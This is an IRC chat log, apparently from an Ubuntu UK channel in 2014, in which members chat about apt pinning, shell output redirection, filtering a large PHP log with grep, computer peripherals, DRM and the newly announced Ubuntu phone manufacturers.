<diplo> I wanted to implement that shauno, they wouldn't spend any more money :/
<bubu> hey guys - how can I peg a package version installed on ubuntu so I can run an apt get upgrade and that particular package will be held back?
<shauno> it'll also make you hate cisco with a passion, because they cool left-to-right instead of front-to-back
<diddledan> bubu: the process is called apt pinning
<diddledan> bubu: that's as much as I can tell you about it because I don't know how it works
<bubu> diddledan: looking now, thanks
<bubu> https://help.ubuntu.com/community/PinningHowto
<diddledan> bingo
<foobarry> every news story now: "this annoyed som etwitter users who took to the social network site to complain"
<awilkins> "Then, some guys complained about the constant complaining on Twitter. 'Twitter used to be just people posting links to cat pictures. Now we want them back!'"
<jussi> foobarry: "news".... pffft. I havent seen real news from a UK paper for a long time (excluding maybe some peices from the guardian)
<awilkins> Did you see the pictures of the UK being washed into the sea?
<awilkins> https://twitter.com/GeorgeMonbiot/status/436076552611061760/photo/1
<xnox> eh.... run out of coffee drinking instant one =((((
<awilkins> ew
<foobarry> the rain is rather unusual..not had so much for 250+ years
<foobarry> something to do with gay marriage allegedly
<awilkins> Hmmph, don't talk to me about marriage
<awilkins> Lady I was going to date at the weekend won't date me... because my ex-wife isn't dead.
<foobarry> :-|
<awilkins> I politely explained to her that I'm not quite ready to kill for a date. Yet.
<foobarry> thought you said "is dead"
<xnox> awilkins: stage a date at a funeral =) that would be so much fun!
<awilkins> Ah, no, if she was dead it would have been OK.
<xnox> (it doesn't have to be ex-wife's funeral...)
<foobarry> didn't want to date a divorcee?
<shauno> awilkins: that's a bit misleading.  it usually looks like that
<awilkins> Belongs to some sect that believes marriage is for life even if you're divorced
<xnox> yes a widow is fine... wtf?!
<shauno> eg, april 2002, http://eoimages.gsfc.nasa.gov/ve//3065/UK.A2002096.1110.1km.jpg
 * bigcalm is happy to be husband number two
<foobarry> awilkins: most people who people that usually say it depends if the divorce happened due to adultery
<popey> oooh, sunlight!
<shauno> there's a reason most of lincolnshire is pretty much "meh" on anglosaxon maps.  they didn't even consider it territory.  we do have some naturally silty rivers
<bigcalm> shauno: that looks like a minecraft map
<awilkins> foobarry, She didn't ask about that (just for the channel log - no adultery)
<awilkins> I think I may have subsequently burned the already fallen bridge by expressing the opinion that religious moral positions are basically pick-n-mix from a book so tangled, self-contradictory, and selectively edited that you can probably justify almost anything.
<awilkins> ie - If I literally believed things in Deuteronomy I would have justification for killing my daughter, etc
<bigcalm> You learn something new every day - middle clicking on a window's title bar sends that window to the bottom of the stack
<awilkins> Oh, I do that by accident all the time
<awilkins> Middle clicking tabs to close them in Chromium mostly
<MartijnVdS> middle-clicking links to open them in new tabs :)
<awilkins> Surprised that my super-duper gamey mouse has a leaf switch for middleclick actually
<MartijnVdS> awilkins: gamey mouse? As in "caught in the woods"?
<awilkins> One of these fellows : http://www.corsair.com/en/gaming-peripherals/gaming-mice/vengeance-m65-fps-laser-gaming-mouse-green-military-green.html
<popey> not just green
<popey> but green, millitary green
<awilkins> It's a really nice mouse.. and I like the colour.
<MartijnVdS> awilkins: that looks uncomfortable, with the corners and everything
<awilkins> It's really comfy, but I suspect it's no good for a southpaw
<popey> i used to really like my thinkpad mouse with the blue wheel that wasn't a wheel
<popey> which lit up
<MartijnVdS> popey: how does that work? a wheel that's not a wheel?
<awilkins> Was it a touchpad?
<popey> more like a joystick
<awilkins> Or another optical sensor?
<awilkins> Was it a strain-gauge pointer like the thinkpad touchpoint thing
<MartijnVdS> awilkins: I have a serial 3-button ball mouse at home :)
<awilkins> I got shot of all my ballmice years ago
<popey> cant find a pic of one now
<popey> yes awilkins
<awilkins> I think I found one the other day and had a nostalgic minute or two scraping mousegunk off the rollers
<popey> mmmmm gunk
<dwatkins> awilkins: your mouse looks similar to the RAT 7 gaming mouse from cyborggaming.
<awilkins> popey, That's kinda "Yo dawg, I heard you like pointing devices so I put a pointing device on your pointing device..."
<popey> well indeed
<bigcalm> I've gone back to using a ball mouse. But only because it's a trackball
<bigcalm> Ball gunk is a pain once more
<dwatkins> I used a trackball for a few weeks, but I prefer trackpads.
<popey> now i wonder if it wasnt lenovo
<awilkins> dwatkins, The RAT 7 just struck me as really uncomfy looking,,,
<popey> bah
<dwatkins> awilkins: apparently it's great once you've adjusted it etc.
<dwatkins> rated for 20 million clicks sounds to me like a mouse which would last 4 years
<dwatkins> (assuming one click per second, 8 hours a day, 180 days a year)
<awilkins> dwatkins, I have a very old MS optical one that still works fine
<awilkins> I definitely don't click once per second
<dwatkins> as do I, awilkins - one of the ones which used to be shiny white and is now shiny beige
<awilkins> I type mostly
<dwatkins> I'm thinking of FPS games, although my estimates were for working hours
<dwatkins> likewise, and I use a lot of keyboard shortcuts
<popey> found it!
<popey> http://www.ebay.co.uk/ctg/Lenovo-31P7405-Optical-Mouse-/96854594
<shauno> one click a second?!
<dwatkins> popey: wow, those are the ones we get by default with our Thinkpads, they tend to get thrown out fairly quickly
<dwatkins> I think I have a couple in my desk drawer
<shauno> is that blue job a nipple?
<popey> !
<popey> kinda
<dwatkins> does it scroll sideways?
<popey> cant remember
<popey> i love them
<dwatkins> fair enough, each to their own :)
<popey> but i like touchpoints too
<dwatkins> I have an Apple Magic Mouse, it's ace as it has a trackpad on top
<popey> disable my touchpad, people who use my laptop can't scroll
<dwatkins> my laptop mostly gathers dust during the week whilst I use an external keyboard and mouse
<awilkins> Yeah
<dwatkins> hot dust
<awilkins> '96 vintage Model M at home
<awilkins> Cherry G80-3000 with clickity switches at work
<popey> mine gets yanked out of the dock repeatedly during the day
 * awilkins loves his Model M
<dwatkins> awilkins: I have one too - made it reminiscent of an Acorn Archimedes: http://i.imgur.com/u2RqAAe.jpg
<awilkins> Love it that when you strike the enter key when you're peed off it SOUNDS LIKE YOU MEAN IT
<popey> heh
<dwatkins> I used to work with someone who typed like that, you could tell their mood quite easily just by listening to the typing
<hamitron> and now keyboards just break ;)
<MartijnVdS> keyboards break?!
<MartijnVdS> I go through a mouse a year, but I never have to change my keyboard.
<awilkins> I swear, all the people with RSI who have ergo keyboards should just get a Model M or something else with decent keyswitches
<dwatkins> my Model M is like a tank - I think I've put it in the bath at least twice, too
<dwatkins> I thought it was mostly mice that caused RSI, no idea though.
<popey> bryce?
<awilkins> I bought Mum a Cherry when her arthritic fingers started playing up (she was a legal secretary, typing all day) and it cleared up in 2 weeks
<hamitron> I find the left shift key and space bars break :/
<dwatkins> hamitron: do you play Kerbal Space Program too forcibly? ;)
<awilkins> It's the clicky feedback that lets you know when to stop pushing
<hamitron> but I am generally in a bad mood when writing a report, and the space bar "gets it"
<awilkins> As opposed to the smushy "TV Remote" feel you get from standard keyboards
<dwatkins> ZX Spectrum...
<awilkins> Fun fact - they ARE essentially a TV remote, but with hard keycaps on top
<dwatkins> makes sense
<dwatkins> according to Tim Berners Lee, we're all either developers or consumers
<dwatkins> (of media)
<awilkins> What about those of us who do both?
<dwatkins> well quite
<dwatkins> I was reading up about HTML5 and DRM, which I really shouldn't do unless I want to get annoyed.
<diddledan> enabling drm as a supported media in html doesn't improve matters from npapi+activex. at all. we still end up with the requirement to install numerous third-party plugins to support the drm as we used to require to support video
<TwistedLucidity> And what problem does the Digital Repression Mechanism actually solve?
<diddledan> TwistedLucidity: imposing restrictions on legitimate uses
<TwistedLucidity> diddledan: That's the problem it creates, not solves. :-(
<diddledan> from an end-user perspective it solves nothing. from a studio perspective it solves everything
<TwistedLucidity> Yeah, that's why there's no copyright infringement of DRM media.....wait a minute.....!
<diddledan> there's more copyright infringement per capita on DRMed media than there is on open media
<diddledan> QED
<diddledan> so the answer is obviously to make the DRM harder to crack
<shauno> I really wish geolocking would die as a business model.  it'd make a whole lot of DRM simply irrelevant
<diddledan> yeah, I hate when even the trailers are geolocked
<TwistedLucidity> I think one company had the correct response - HBO. "Oh look, 'Game of thrones' is the most infringed program. Let's try and remove the incentive to infringe." And they start releasing the box sets quickly and for a fair price. Nice.
<shauno> what if we could just subscribe to HBO?
<TwistedLucidity> There's a film called "Knights of Badassdom" I'd like to watch, funny silliness. Available for digital download from Amazon, Google Play etc. Can I download it? No. Geo-locked. Morons!
<shauno> I had a chuckle recently; an irish film that's available to stream on netflix-us, but not netflix-ie
<TwistedLucidity> shauno: The great debate there is being able to do a la carte. If I could just get one or two channels, that'd do me.
<diddledan> hulu really needs to be available in the uk, too
<dwatkins> there are situations in which DRM makes at least some sense, such as companies making training material available to other companies who pay for it
<dwatkins> I'm not aware of another way for them to protect this kind of content
<diddledan> dwatkins: change it from a product (training materials) to a service (training seminas)
<diddledan> seminar*
<dwatkins> diddledan: seminars have restricted entry, you need a ticket
<shauno> they're also useless
<shauno> we don't have every staff member on every day; we can rarely have them all free at the same time.  and they won't pause while I go refuel
<shauno> so you end up paying for the same thing 3 times trying to rotate everyone through
<diddledan> shauno: good business if you can convince someone to do that
<shauno> (per site ..)
<diddledan> 3 times the income
<dwatkins> fair enough, there can be problems, but for a lecture you're attending which is chargeable, you'd need to buy a ticket somehow
<TwistedLucidity> Is infringement of such training material an actual problem?
<dwatkins> no, I'm trying to understand whether there's an analogue for DRM in such a situation
<dwatkins> people might sneak in, for example
<dwatkins> someone might record the session from Google Glass or a hand held camera secretly
<shauno> it doesn't need to be covert.  if you're at our site, you're on cctv in common areas
<diddledan> I want some googley glass
<awilkins> I found myself wanting it after the cheap chinese plastic windscreen mount for my Nexus 4 broke
<dwatkins> for some companies, this is their bread and butter, and they are required by their customers to keep such material secret (trade secrets, etc.)
<shauno> I really wish it wasn't google :/
<diddledan> apparently it's illegal to drive with googley glass installed
<TwistedLucidity> I want some anti-googley glass.
<dwatkins> I thought the court case decided it was ok to drive with Glass on
<diddledan> in the uk at least
<dwatkins> oh, different case, perhaps
<shauno> it's such a double-edge.  on one hand, they've got the drive, the ability and the funding to do neat things.  on the other hand, they're google.
<dogmatic69> I am running a command (http://bin.cakephp.org/view/138753539) and it outputs to a file AND shows warnings on screen, is there a way I can disable the warnings or redirect them to /dev/null ?
<dwatkins> a HUD in my car would be useful
<Laney> SOREEN
<diddledan> shauno: what's wrong with a corporate entity knowing when I last washed my private parts?
<Laney> YOU BEAUTY
<dwatkins> dogmatic69: command 2>1 >/dev/null
<dogmatic69> dwatkins:  and that wont affect the file output?
<dogmatic69> also where about in the command would I put that?
<diddledan> shauno: and having video footage of the act
<dogmatic69> its a bit of a crazy command
<dwatkins> hmm, might need to use tee and pipe it
<Laney> 2>/dev/null
<dogmatic69> never heard of that
<diddledan> dogmatic69: ini_set('display_errors', 'false');
<dogmatic69> diddledan:  its a command running on jenkins
<shauno> you can do 2>onefile 1>anotherfile
<dogmatic69> shauno:  and "command > file" is the same as "command 1> file"?
<diddledan> oic, it's not php despite being posted on a php framework site :-/
<diddledan> :-p
<shauno> so all your command is belong to us 2>/dev/null 1>youroutput
<diddledan> I like 2>&1
<dogmatic69> shauno:  thanks, will try that
<dogmatic69> diddledan:  that will put the warnings in the other file?
<shauno> dogmatic69: yeah, >out is 1>out.  1 is stdout, 2 is stderr
<diddledan> just because it looks funky
<diddledan> 2>&1 puts all stderr output onto the stdout pipe
<diddledan> so what's sloccount do?
<dogmatic69> diddledan:  counts lines of code
<diddledan> like wc -l?
<dogmatic69> a bit more smart
<dogmatic69> it is language aware and can check comments vs actual code, generated code etc.
<shauno> diddledan: http://en.wikipedia.org/wiki/Source_lines_of_code   has a pretty decent description of the problem
<dogmatic69> c, c++, php etc. not sure what all it does
<shauno> short version, foo(i) { do(i); }   could be 1 line as I've written it, 4 lines if indented one way, 3 lines if indented another ... 'sloc' is meant to normalize it so you've got something that's useful as a metric
<dogmatic69> s/useful/normalized
<shauno> (I put the first brace under the 'foo' in such an example; does that mean I'm more productive than people who put it on the end of the function line?  wc -l thinks so!)
<awilkins> Normalized is useful. Because it's comparable.
<dogmatic69> ye
<awilkins> Although I'm quite guilty of just doing find -name *.java | xargs cat | wc -l somtimes
<diddledan> random: I put braces on the same line as the definition
<diddledan> for (foo) {
<dogmatic69> diddledan:  the correct way ;)
<awilkins> This is of course the right way to do it
<diddledan> function bar(wibble) {
<shauno> I prefer to have them aligned with the closing brace :)
<dogmatic69> ew
<awilkins> EXTRA LINE
<awilkins> Feels like a tooth dangling on a string of gum
<diddledan> I have two problems with that. 1) extra line, 2) the definition isn't part of the code block
<shauno> that's why you just use sloccount instead of reading my spacey mess
<diddledan> shauno: I bet you like python, too
<awilkins> I like Python
<shauno> it also folds very tidily in editors that do folding
<shauno> I hate python almost as much as it hates me
<awilkins> I actually quite like it's "indenting is a block" thing
<diddledan> I find that counter intuitive
<awilkins> But not so fond of the PEP that states that four-spaces is the default Python indent
<diddledan> I'm all for properly formatting code, but enforcing it by breaking when you don't seems wrong to me
<awilkins> diddledan, If you think that blocks should be indented properly for readability, it's not such a stretch to welcome your language making that compulsory
<shauno> I would like to teach the world to sing in perfect harmony; http://www.pythonb.org
<awilkins> I mean, this is a horrible thing in Java
<awilkins> if (test)
<awilkins>     doStuff();
<awilkins>     doMoreStuff();
<diddledan> yes I agree that is semantically wrong
<diddledan> ok, maybe I could be convinced
<awilkins> So you 'd probably argue that braceless blocks in Java are evil
<awilkins> Which is my opinion
<jpds> awilkins: I quite like four spaces.
<awilkins> jpds, Afraid I'm a tabs man
<shauno> I still get a knot in my stomach when js decides the terminating; is overrated
<awilkins> jpds, tabs for indents, spaces for aligns
<diddledan> ok, let me put the cat among the pigeons now. tcl, discuss
<awilkins> jpds, Accomodates both the wingnuts who like their editor to define indent width and the wingnuts who like everything to align (mid-line alignment is also evil though)
<shauno> OT: I love when american shows subtitle the brit
<shauno> (or british shows subtitle the geordie)
<diddledan> wyaye
<diddledan> that's the extent of my knowledge of northern behaviour
<diddledan> scurge of civilisation as we know it
 * awilkins is close to the Pie Event Horizon
<shauno> that's scourge.  silly uneducated southerners.
<diplo> shauno: I always append ; on js even though you don't have to
<diplo> Feel better :)
<shauno> I have to.  it's always the first thing I check when something doesn't work.  and when I 'write' js, there's always something broke
<diplo> hah same here, I normally pass js stuff to a colleague has he gets it correct first time everytime, I don't!
<diddledan> nodejs is fun
<diddledan> I like how nodejs has an ecosystem of reusable modules available from npm
<diddledan> all you need to do is npm install a new module and it's ready to go
<diddledan> you can script a deployment as well that way with a package.json file which details all the dependencies which then get omitted from the scm
<diplo> I've never looked at node at all
<shauno> I've never felt the need to; I've been quite comfortable that one will blow over soon enough
<diddledan> one?
<shauno> nodejs
<shauno> it's just waiting until we're done burying RoR, then its next :)
<dwatkins> if in doubt, delete all the preferences
 * dwatkins goes home 
<mapps> good evening
<mapps> :D
<MooDoo> afternoon all
<mapps> ey
<neuro> blarp
<mapps> that was rubbish same judge judy ep as yesterday
<popey> rsalveti: /95
<popey> oops
<neuro> why why why are you watching judge judy?
<neuro> popey: yee hee
<mapps> i like it!
<mapps> :)
<neuro> yee? tee!
 * neuro larts keyboard
<popey> yo
<neuro> yo yo
<neuro> hey you pinged me on xbl the other night
<MooDoo> anyone having issues with chrome browser on Trusty?  not loading etc?
<popey> i did?
<popey> probably my kids
<neuro> lol
<diddledan> popey: what's happening now abouts ish?
<popey> they use xbox
<neuro> 17:17 17/02/2014 "hay"
<popey> hah
<popey> yeah, my kids
<diddledan> some kind of canonical/ubuntu announcement somewhere I believe?
<neuro> you should give them their own account
<diddledan> aah there's a link on the homepage now
<diddledan> popey: you can ignore me
<popey> I CAN!?
<popey> yeah, apparenly we're going to partner with companies to make phones
<popey> who knew?
<neuro> zomg
<neuro> no wai
<diddledan> having a series of mainstream devices will seriously improve public recognition of "ubuntu" as a brand
<neuro> popey: i was actually going to suggest getting the xbox live gold family pack, but seems they discontinued that back in august
<MooDoo> yay another lock up :S
<diddledan> MooDoo: YIPPEE
<neuro> you've bought another garage to keep stuff in?
<neuro> are you a market trader?
<MooDoo> diddledan: serve me right for installing pre alpha lol
<neuro> are you dahn saaff?
<diddledan> lol
<diddledan> mark's got an awesome beard!
<Laney> hahaha
<MooDoo> diddledan: chrome doesn't load :S grrrr lol
<neuro> maybe he's finally going to walk the path of the bat
<neuro> head off to the mountains to find the blue flower
<MooDoo> yay libudev error...
<neuro> hope you're stacking all this up for a bug report ;)
<neuro> sounds like it will be a good 'un
<MooDoo> there is a temp fix of linking libudev.so.1 to libudev.so.0
<neuro> ouch
<jussi> If anyone here is interested in kubuntu... we just made polo shirts available again (in limited quantaties)
<MooDoo> just having a look on lauchpad now
<neuro> ooh, i could buy one to clean the bathroom with
<jussi> Including a few womens sizes :=)
<neuro> KIDDING
<jussi> neuro: I dont care what you do with it if you pay the money :D
<neuro> haha
<neuro> i like your style, sir
<jussi> https://holvi.com/shop/Kubuntu/
<neuro> limited run?
<mapps> irritating my connection sometimes dies on my machine
<mapps> and requires  arestart;/
<neuro> wifi?
<mapps> ya
<neuro> urgh
<neuro> drivers maybe?
<jussi> neuro: yeah, I have a contact who can do such things. 25 shirts only
<mapps> i was going to leave my machine on so i could VPN in when i go abroad
<neuro> jussi: shame you don't do sysadmin size
<mapps> as when i was in Majorca..couldn't access betfair because i was in spain
<mapps> even though my accounts a uk account;/
<jussi> neuro: XXXXXXXXXXL ? :D
<neuro> does such a thing exist?!
<mapps> lol jussi
<mapps> in america probably
<neuro> jinx, i was about to say the same thing ;)
<mapps> :D
<mapps> ugh got work in a bit
<neuro> i suspect if you want to leave a machine on 24/7, best way is hardwired
<mapps> yea
<mapps> i agree but dont have the house cabled up..would like to in the gfutute but obviously properly not wires running down the stairs etc
<neuro> tho in saying that i leave my dell vostro on all the time on wifi and it's fine
<neuro> handy to RDP into to save me firing up a windows 7 vm when i need to engage the beast
<mapps> i had a vostro before..got the dell mini 12 or 11 whatever it is atm
<neuro> i do like the vostros
<jussi> mapps: those power plug networks are excellent
<neuro> mine is a 3300 or a 3350 or something
<neuro> hmm yeah good point
<mapps> it's not essential..but it was a bit annoying last year getting errors logging in ..and when i emailed betfair service desk..0 reply
<mapps> yea
<mapps> ive never used them
<jussi> I have them here for the tele. fantastic.
<mapps> i may have to..because having cables all over the house..without it looking rubbish OR dangerous feels like a lot of work?
<neuro> i got some tplink ones for my dad, 500Mbps with gigabit eth port and passthrough for the electrical plug so it doesn't eat the socket
<neuro> they work really well
<mapps> eat th socket?
<neuro> you can get the double pack for about 60-70 quid
<mapps> lol
<neuro> yeah, a lot of powerline adapters use up the socket
<mapps> ahh
<neuro> and they don't work properly in extension bars
<mapps> oh
<jussi> yeah, have to be direct socket :)
<neuro> <- used to work for a powerline chipset company before they got acquired by broadcom
<neuro> well, i was still there when they got acquired, that was interesting
<mapps> sw====when you say eat up..say i had 2 main sockets some powerline adapters would make the 2nd unused one not work?
<neuro> no
<mapps> hm
<jussi> oooh! Ubuntu phones now have manufacturers!
<neuro> ah here we go
<jussi> Meizu and BQ
<neuro> http://www.amazon.co.uk/TP-Link-TL-PA551KIT-Gigabit-Powerline-Adapter/dp/B00ASJRQQY
<neuro> 53 quid, that's brilliant actually
<mapps> what did you mean then you said use up the socket
<mapps> nice re ubuntu phones
<neuro> ok so, you have to plug it into a wall socket for it to work
<neuro> but if there's no passthrough for the plug, then you can't use that wall socket for anything else, obviously
<mapps> have to be good to make me swtch though - iphone fan:P not apple fan..only app;le product i have
<mapps> yea
<neuro> that's what i meant
<neuro> if you plugged it into one socket on a double or triple or whatever outlet, then only one socket would still get used up
<neuro> it's really straightforward
<neuro> don't worry about it :)
<jussi> http://www.omgubuntu.co.uk/2014/02/bq-meizu-ubuntu-smartphones-confirmed-for-2014-release
<neuro> i have an unopened starter pack sitting at the top of the stairs :)
<neuro> keep meaning to deploy it to link my bedroom to my upstairs spare room where my core switch is
<neuro> but i haven't needed it yet
<neuro> roku + wifi = win
<AlanBell> jussi: yeah, interesting, I wonder if they will even make an attempt at international sales
<jussi> AlanBell: I think they will
<AlanBell> currently I think you have to ssh to the phone to change the locale settings if you want it to not be the default
<neuro> i've never heard of either of those OEMs
<jussi> neuro: really?
<neuro> really
<jussi> I thought everyone knew meizu...
<jussi> 8cores :D
<AlanBell> I had only heard of meizu because of the coverage of that photo of it running Ubuntu
<jussi> heh, giess Im in a privelidged area being that I work in the industry...
 * jussi wanders off to sauna...
<neuro> good grief
<neuro> that MX3 looks ridiculous :)
<AlanBell> a locale switcher probably isn't the hardest thing to write for it, no doubt there will be a UI to flip it
<popey> AlanBell: well done on meizu's part
<popey> they posted those pics to gauge interest in ubuntu
<popey> worked out well for them and us
<AlanBell> but I am not sure I could be bothered to import one from Spain, I gave up on the import of a Firefox OS phone I was trying to do from geeksphone
<neuro> ooh wolfson audio part
<neuro> the size aside, that meizu handset looks impressive
<popey> it does look huge
<AlanBell> I am certainly not doing an import from china
<popey> my iphone came from china â»
<neuro> i think most people's do ;)
<popey> indeed
<neuro> just read all of the article
<neuro> not sure about the apple bit
<neuro> pretty sure apple aren't interested in convergence :)
<AlanBell> http://store.meizu.com/category-20.html I am not buying something with an order form in Simplified Han
<neuro> but good news overall methinks
<neuro> AlanBell: i suspect when they get released, you'll be able to get it through vendors like amazon and expansys
<AlanBell> yeah, if they are not just doing the domestic market
<neuro> interesting to see the BQ one will be dual sim
<neuro> i'm tempted to get a dual sim phone to replace my old iphone 4 and 4S if and when i upgrade to a 5S or whatever comes after that
<neuro> new lumia 530 is supposed to be dual sim though ... will find out at MWC next week
<AlanBell> popey: is BQ Spain the same thing as BQ india? http://www.bqmobile.com
<neuro> doubt it
<popey> pass
<neuro> BQ's based in Madrid, sells in Spain, Portugal, Argentina and Uruguay
<AlanBell> yeah looks like different products, OMGubuntu linked to the wrong one for a bit
<neuro> yeah, different
<neuro> BQ (nÃ©e booq) founded in 2009
<neuro> BQ Group founded 2012
<popey> Phoronix linked to BenQ
<neuro> in india
<neuro> founded in china in 2006
<neuro> and BenQ are nothing to do with either ;)
<AlanBell> BenQ have the distinction that I have heard of them :)
<AlanBell> I have a BenQ projector
<AlanBell> oh, the BQ store does support multiple languages
<AlanBell> Spanish, and Portugese
<AlanBell> http://store.bqreaders.com/es/aquaris-5-7-blanco does actually look pretty good
<neuro> and out of stock ;)
<daftykins> what's the topic peeps?
<neuro> daftykins: this: http://www.omgubuntu.co.uk/2014/02/bq-meizu-ubuntu-smartphones-confirmed-for-2014-release
<daftykins> ah-har, ty
<daftykins> octacore, oh dear
<popey> looking forward to playing with these things
<AlanBell> the black version is in stock, but kinda irrelevant, we don't know if that model or something else will be the Ubuntu one
<neuro> exactly
<AlanBell> and I am not sure if Ubuntu Touch has been tested on HD screens
<popey> define hd
<neuro> 1080?
 * popey has a 1920x1200 in his hands
<neuro> you beast
<popey> also a 2560Ã1600
<AlanBell> cool, does it scale then?
<popey> ya
<popey> gu n'all that
<AlanBell> the gu stuff should in theory sort it out, but last thing I saw on that it was a bit faily
<popey> it's a but custom per-device
<popey> *bit
<popey> it needs a bit of trial and error to find the optimal settings
<popey> once thats done per device you're done
<neuro> presumably that will get better though
<popey> exactly
<popey> more devices = more profiles
<neuro> you don't want to be hand-qualifying each device for resolution
<popey> well you have to hand qualify every device anyway
<popey> \o/ arm
<neuro> fair point
<bigcalm> What's the best way to process a 3.3GB text file?
<AlanBell> the big thing is having all developers used to the fact that they won't know the screen size from the very very start
<neuro> bigcalm: have 3.3GB of RAM free for starters
<bigcalm> neuro: check
<bigcalm> Lets see if vim can cope
<neuro> bigcalm: then open your copy of Perl in a Nutshell ;)
<neuro> vim? seriously?
<neuro> good luck
<bigcalm> Heh
<neuro> go make a cup of tea
<AlanBell> possibly a line editor like ed
<neuro> what processing are you trying to do anyway?
<AlanBell> http://stackoverflow.com/questions/1591723/linux-text-editor-for-working-with-huge-files
<bigcalm> It's a php.log. So there are timestamps on each line. I only want a smallish window of data from the total file
<neuro> so within a date range?
<bigcalm> Yep
<neuro> grep
<bigcalm> I'll start by grepping for today's date, better than nothing
<AlanBell> popey: will canonical import and retail the devices?
<neuro> bigcalm: this is why i break up logs
<neuro> logrotate at midnight
<bigcalm> neuro: the file should have been sorted by logrotate but wasn't for some reason
<neuro> arg
<bigcalm> neuro: that'll change soon
<neuro> :)
<neuro> actually, sounds like you have the same problem i have
<bigcalm> iain@snafu2:~$ pv prod_hes_php.log | grep "^\[19\-Feb\-2014" > today_php.log
<bigcalm> 3.27GB 0:00:09 [ 338MB/s] [==================================>] 100%
<bigcalm> iain@snafu2:~$ ls -lha today_php.log
<bigcalm> -rw-r--r-- 1 iain iain 11M Feb 19 17:56 today_php.log
<bigcalm> Weeee
<popey> AlanBell: i dont know. unlikely
<popey> someone may
 * bigcalm wades through a hell of stack traces
<bigcalm> Yay having 3 monitors to stretch the window over :)
<MartijnVdS> vertically? :)
<daftykins> :D
<MartijnVdS> bigcalm: C++? Java?
<bigcalm> MartijnVdS: horizontally. I don't want log lines wrapping
<MartijnVdS> bigcalm: Perl's Moose+Catalyst+DBIx::Class
<neuro> bigcalm: hehe
<neuro> i love bash tho
<neuro> root@noc:~# for i in $(dsh -g dotcom-prod -M -- "if [ -s /ndisk/logs/php.log ]; then du -sh /ndisk/logs/php.log; fi" | cut -d: -f2 | awk '{print $1}'); do echo -n "$i "; done; echo
<neuro> 526M 561M 555M 550M 529M 563M 566M
<neuro> cue everyone slagging my bash skillz
<bigcalm> Better than mine. I rarely do anything in bash
<bigcalm> I do it all in PHP :D
<neuro> i do everything in bas
<neuro> jh
<daftykins> i don't even tell what that's doing
<neuro> doh
<daftykins> :D
<daftykins> *can't
<daftykins> seems i've forgotten how to brain yet again =|
<neuro> daftykins: hehe
<neuro> ignore the for loop, that was just to echo out the results on one line rather than flooding the channel
<neuro> the bit inside the $( ) is using dsh to talk to 19 machines and check for the existence of a log file, and if it's there, do a du on it to get the size
<neuro> in human readable form
<bigcalm> Nice
<neuro> and the cut and awk is just because i'm stupid and left the -M flag in (which prints the machine hostname out with the output, like when you grep multiple files you get the filename at the start of the results on each line)
<neuro> actually 19 machines is a lie, i switched 6 of them off yesterday
<neuro> ec2++
<daftykins> :)
<MartijnVdS> 0xec3?
<maps|wrk> hello
<maps|wrk> ;]
<neuro> oh, that dutch humour again
<neuro> ;)
<neuro> mapps: so you're at work ;)
<maps|wrk> yes
<maps|wrk> busy busy
<maps|wrk> im a worker bee
<neuro> seems that way ;)
<maps|wrk> an office drone..i live to work
<neuro> night shift?
<maps|wrk> ya
<maps|wrk> always have done
<maps|wrk> less busy bodies in which is  a HUGE bonus
<neuro> true
<neuro> i've had to do a night shift twice in my life
<maps|wrk> so i can spend my time on here/on other forums/watching 4 on demand etc;p
<neuro> not overly impressed ;)
<neuro> ha
<neuro> i have a story actually
<maps|wrk> during the day pesky self important people wandering around
<maps|wrk> neuro:  but its better!
<neuro> 24/7 support bod was on nights
<neuro> he used to disconnect one of the TVs that ran the alerting system
<neuro> plug a playstation in
<maps|wrk> hahahaha
<maps|wrk> good on him
<neuro> did it for months until someone was called out to the DC
<neuro> that someone was the duty on call
<neuro> and that someone also happened to be the CTO
<maps|wrk> heh
<neuro> caught the guy playing crash bandicoot or something and not watching the alert board
<neuro> he didn't finish his shift
<maps|wrk> yea gotta be careful
<maps|wrk> i do my job aswell
<maps|wrk> just means im a happier employee
<maps|wrk> rather than being glued to work rubbish
<neuro> there's taking the pee then there's taking the pee ;)
<neuro> i guess there's only so much you have to do at night though
<neuro> probably more about there being a reactive human presence more than anything
<neuro> mind you i'm one to talk, i was up at 3am on saturday morning doing infra work on our cluster to get some shared storage online
<maps|wrk> well i have the same to do at night as in day right..but like its basically watching games adding points/goals work for an online bookmaker
<neuro> because a) it was 3am and we were deep into our trough
<neuro> and b) i was bored
<neuro> ah right, so it's stuff like s.american footie, US sports, asian races, etc
<maps|wrk> so i dont seewhy i shouldn't do other stuff..they make a fortune off other peoples misery and the jobs boring and dull and i dont learn anything!
<maps|wrk> yea
<neuro> you'd think, and not wanting to put you out of a job, that's something that could be automated?
<neuro> surely there are data feeds for that kind of thing?
<maps|wrk> but its boring basically after a while done it for 6 years..its so easy, unchallenging and dull , an idiot could do it imo ...
<maps|wrk> yea so a lot of the time its just monitorring neuro
<neuro> aaah right
<neuro> Just In Case
<maps|wrk> monitorring things are feeding in right and the odds are right etc
<maps|wrk> yea
<maps|wrk> but baseball/baskletball still have user input
<neuro> making sure a feed doesn't say brazil just won a football game 185 to nil
<neuro> although you know, brazil ...
<neuro> watched the man city v barca game last night
<maps|wrk> heh
<neuro> glad i'm not a city fan
<maps|wrk> but yea its still a bit boring..so i do other stuff..read my feeds from feedly/efestivals forum/here etc
<neuro> nice
<maps|wrk> watch linux videos on youtube..for learning bash scripting etc
<neuro> so at least you're bettering yourself ;)
<maps|wrk> im always shocked at the people hat sit there starring at the screen just doung their job---either they really dont find it easy or well i dunno
<neuro> a job's a job though
<maps|wrk> yea..i have a degree and perhaps was a mistake working here..typical of course after i started i got offered a job at the first place id applied
<neuro> don't want to descend into cliches but the job market sucks right now, so being in a job, no matter how crap, if it pays the bills ...
<maps|wrk> where at the time they said theyd filled the vacancy
<neuro> IME, and don't take this personally, a degree is useless in tech
<neuro> if a company holds a degree in more regard than experience and/or measurable skill, they're deluding themselves
<neuro> it's a nice to have, sure
<neuro> :)
<directhex> HR people can't evaluate experience easily
<daftykins> my degree was definitely a joke
<directhex> but they can easily evaluate lists of qualifications
<neuro> directhex: depends on the company
<neuro> most savvy tech firms these days still filter incoming applications using engineers rather than just HR
<neuro> some don't even have real HR departments for that kind of thing, ask github
<neuro> at linden lab we did all the screening ourselves
<neuro> meant you could quickly weed out the people who were chancing it, and interview the promising people, and from there you'd weed out the people who were good at projecting a decent image, but couldn't hack it in actuality
<neuro> i never saw a bad hire the whole time we were there
<MartijnVdS> I've seen two in the 8 years I worked at my previous employer
<MartijnVdS> both were bad in undetectable-while-hiring ways
<neuro> oh i've seen bad hires before
<MartijnVdS> even for experts
<neuro> one guy was impressive right through to the offer
